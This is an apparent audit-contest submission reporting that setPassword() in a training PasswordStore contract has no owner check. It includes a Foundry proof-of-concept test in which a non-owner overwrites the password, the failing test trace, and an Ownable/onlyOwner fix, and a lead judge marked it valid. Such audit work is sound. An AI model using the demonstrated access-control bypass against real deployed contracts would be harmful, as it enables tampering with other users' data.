First Flight #1: PasswordStore
First Flight #1
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

The setPassword() can be called by anyone, not only the owner

mrjorystewartbaxter

Summary

The setPassword() function can be called by anyone (not only the owner) in the current application scope. Any user of the contract can set a new password, since the necessary contraints to restrict it to the owner are not in place.

Vulnerability Details

The code comments state the following for the setPassword() function: "This function allows only the owner to set a new password". Nevertheless as shown in the PoC below, any user is able to set/change a new password violating the privacy of the contract, as there are no access control verifications in place.

Proof of Concept

Consider the following test where an address named as anybody is able to reset the password after the owner of the contract calls the function setPassword(). When the owner retrieves the password with getPassword(), it realizes there was a change executed by a different entity.

function test_anybody_can_set_password() public {
​
vm.startPrank(owner);
string memory expectedPassword = "myNewPassword";
passwordStore.setPassword(expectedPassword);
vm.stopPrank();
vm.startPrank(anybody);
string memory changedPass = "changedPassword";
passwordStore.setPassword(changedPass);
vm.stopPrank();
vm.startPrank(owner);
string memory actualPassword = passwordStore.getPassword();
assertEq(actualPassword, expectedPassword);
​
}

As stated before the test results in discrepancies between the password set by the owner and the one set by the non-owner:

​
Running 1 test for test/PasswordStore.t.sol:PasswordStoreTest
[FAIL. Reason: Assertion failed.] test_anybody_can_set_password() (gas: 42101)
Logs:
Error: a == b not satisfied [string]
Left: changedPassword
Right: myNewPassword
​
Traces:
[741837] PasswordStoreTest::setUp()
├─ [356698] → new DeployPasswordStore@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
│ └─ ← 1671 bytes of code
├─ [285684] DeployPasswordStore::run()
│ ├─ [0] VM::startBroadcast()
│ │ └─ ← ()
│ ├─ [225780] → new PasswordStore@0x90193C961A926261B756D1E5bb255e67ff9498A1
│ │ └─ ← 1017 bytes of code
│ ├─ [23786] PasswordStore::setPassword(myPassword)
│ │ ├─ emit SetNetPassword()
│ │ └─ ← ()
│ ├─ [0] VM::stopBroadcast()
│ │ └─ ← ()
│ └─ ← PasswordStore: [0x90193C961A926261B756D1E5bb255e67ff9498A1]
└─ ← ()
​
[42101] PasswordStoreTest::test_anybody_can_set_password()
├─ [0] VM::startPrank(DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38])
│ └─ ← ()
├─ [6686] PasswordStore::setPassword(myNewPassword)
│ ├─ emit SetNetPassword()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(0x0000000000000000000000000000000000000000)
│ └─ ← ()
├─ [1886] PasswordStore::setPassword(changedPassword)
│ ├─ emit SetNetPassword()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38])
│ └─ ← ()
├─ [3320] PasswordStore::getPassword() [staticcall]
│ └─ ← changedPassword
├─ emit log(: Error: a == b not satisfied [string])
├─ emit log_named_string(key: Left, val: changedPassword)
├─ emit log_named_string(key: Right, val: myNewPassword)
├─ [0] VM::store(VM: [0x7109709ECfa91a80626fF3989D68f67F5b1DD12D], 0x6661696c65640000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000000000000000000000000001)
│ └─ ← ()
└─ ← ()

Impact

Any user can reset a password set by the owner without restrictions.

Tools Used

Manual Review

Recommendations

It is highly recommended to implement an access control mechanism for the account that is the owner of a contract and can do specific tasks on it. One approach is by using via inheritance @openzeppelin/contracts/ownership/Ownable.sol:

contract PasswordStore is Ownable {
​
...
function setPassword(string memory newPassword) external onlyOwner{
...
}
}
​

By default, the owner of an Ownable contract is the account that deployed it, which is the scenario we want here. Additionally the modifier onlyOwner can ensure the function is called by the owner of the contract.

Updates

Lead Judging Commences

inallhonesty Lead Judge
almost 2 years ago
inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-lacking-access-control

Anyone can call `setPassword` and set a new password contrary to the intended purpose.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.